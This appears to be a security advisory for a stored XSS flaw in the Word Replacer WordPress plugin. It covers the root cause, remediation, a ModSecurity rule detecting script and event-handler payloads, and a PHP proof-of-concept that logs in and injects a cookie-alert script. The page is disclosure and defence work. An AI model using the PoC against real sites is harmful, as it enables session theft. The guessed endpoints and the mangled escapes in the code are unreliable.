Atomic Edge analysis of CVE-2026-3620 (metadata-based): This vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the WordPress plugin Word Replacer, version 0.4 and earlier. An attacker with Administrator-level access can inject arbitrary web scripts through the ‘replacement’ parameter. The vulnerability has a CVSS score of 4.4, indicating a medium severity, and requires high privileges, high attack complexity, and affects confidentiality and integrity partially.
Root Cause: Based on the CWE classification (20 Improper Input Validation) and the CVE description, the root cause is insufficient input sanitization and output escaping on the ‘replacement’ parameter. The plugin likely stores user input from an admin settings page or custom post type without proper validation or escaping, allowing the injection of HTML and JavaScript. As no source code is available, this is an inference; however, the CWE and description strongly indicate that the plugin fails to apply WordPress sanitization functions like sanitize_text_field() and output escaping like esc_html() or wp_kses() when processing the replacement parameter.
Exploitation: An authenticated Administrator accesses the WordPress admin dashboard and navigates to the Word Replacer settings page, likely located at /wp-admin/options-general.php?page=word-replacer or similar. The attacker submits a payload in the ‘replacement’ parameter, for example: ‘>alert(1) or a more sophisticated payload for cookie theft. The plugin stores this input without sanitization. When any user (including lower-privileged users or visitors) views a page where the replacement is applied (likely during content rendering), the injected script executes in their browser. The attack vector is HTTP POST to the plugin’s settings endpoint.
Remediation: The plugin must implement proper input sanitization and output escaping. For the ‘replacement’ parameter, apply sanitize_text_field() or wp_kses() to strip out HTML tags when storing, and use esc_html() when rendering the value. Alternatively, if the parameter is intended to allow safe HTML, use wp_kses() with an allowed HTML whitelist. The plugin should also validate that the parameter does not contain event handlers or JavaScript URIs.
Impact: Successful exploitation allows an attacker to inject arbitrary JavaScript into admin pages or frontend content. This can lead to session hijacking, defacement, redirection to malicious sites, or theft of sensitive data. As the attacker requires Administrator-level access, the impact is primarily on other administrators or users who view the affected pages, and it can be used for privilege escalation or persistent backdoor access.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3620 (metadata-based)
# Block stored XSS attempts via the 'replacement' parameter in Word Replacer plugin settings
# Attack vector: admin-post.php?action=word_replacer_save_settings with malicious replacement parameter
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php"
"id:20263620,phase:2,deny,status:403,chain,msg:'CVE-2026-3620 - Word Replacer XSS via replacement parameter',severity:'CRITICAL',tag:'CVE-2026-3620'"
SecRule ARGS_POST:action "@streq word_replacer_save_settings" "chain"
SecRule ARGS_POST:replacement "@rx <script|<[^>]*onw+s*=" "t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3620 - Word Replacer <= 0.4 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Replacement' Parameter
// Configuration
$target_url = "http://example.com"; // CHANGE THIS to the vulnerable WordPress site
$admin_username = "admin"; // CHANGE THIS
$admin_password = "password"; // CHANGE THIS
// Step 1: Login as Administrator
$login_url = $target_url . "/wp-login.php";
$login_data = array(
"log" => $admin_username,
"pwd" => $admin_password,
"wp-submit" => "Log In",
"redirect_to" => $target_url . "/wp-admin/",
"testcookie" => "1"
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookies.txt");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
if (curl_error($ch)) {
die("Login failed: " . curl_error($ch) . "n");
}
curl_close($ch);
echo "[+] Logged in as admin successfully.n";
// Step 2: Get the nonce and settings page URL (assume admin.php?page=word-replacer)
// This step may require fetching the settings page to extract a nonce for the POST request.
$settings_page_url = $target_url . "/wp-admin/admin.php?page=word-replacer";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $settings_page_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, "/tmp/cookies.txt");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Extract nonce (common pattern: name="_wpnonce" value="...")
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
if (!isset($matches[1])) {
die("[-] Could not find nonce. Expected pattern not found.n");
}
$nonce = $matches[1];
echo "[+] Found nonce: $noncen";
// Step 3: Inject XSS payload via the 'replacement' parameter
$payload = '"><script>alert(document.cookie)</script>';
$settings_url = $target_url . "/wp-admin/admin-post.php";
$post_data = array(
"action" => "word_replacer_save_settings", // Assumed action hook
"_wpnonce" => $nonce,
"replacement" => $payload,
// Include other expected parameters (e.g., "search", "case_sensitive") as dummy values
"search" => "test",
"case_sensitive" => "0"
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, "/tmp/cookies.txt");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 || $http_code == 302) {
echo "[+] Payload sent successfully. Check the plugin's settings page or any page where replacements are rendered.n";
echo "[+] Payload: $payloadn";
} else {
echo "[-] Failed to send payload. HTTP code: $http_coden";
}
// Clean up
unlink("/tmp/cookies.txt");
?>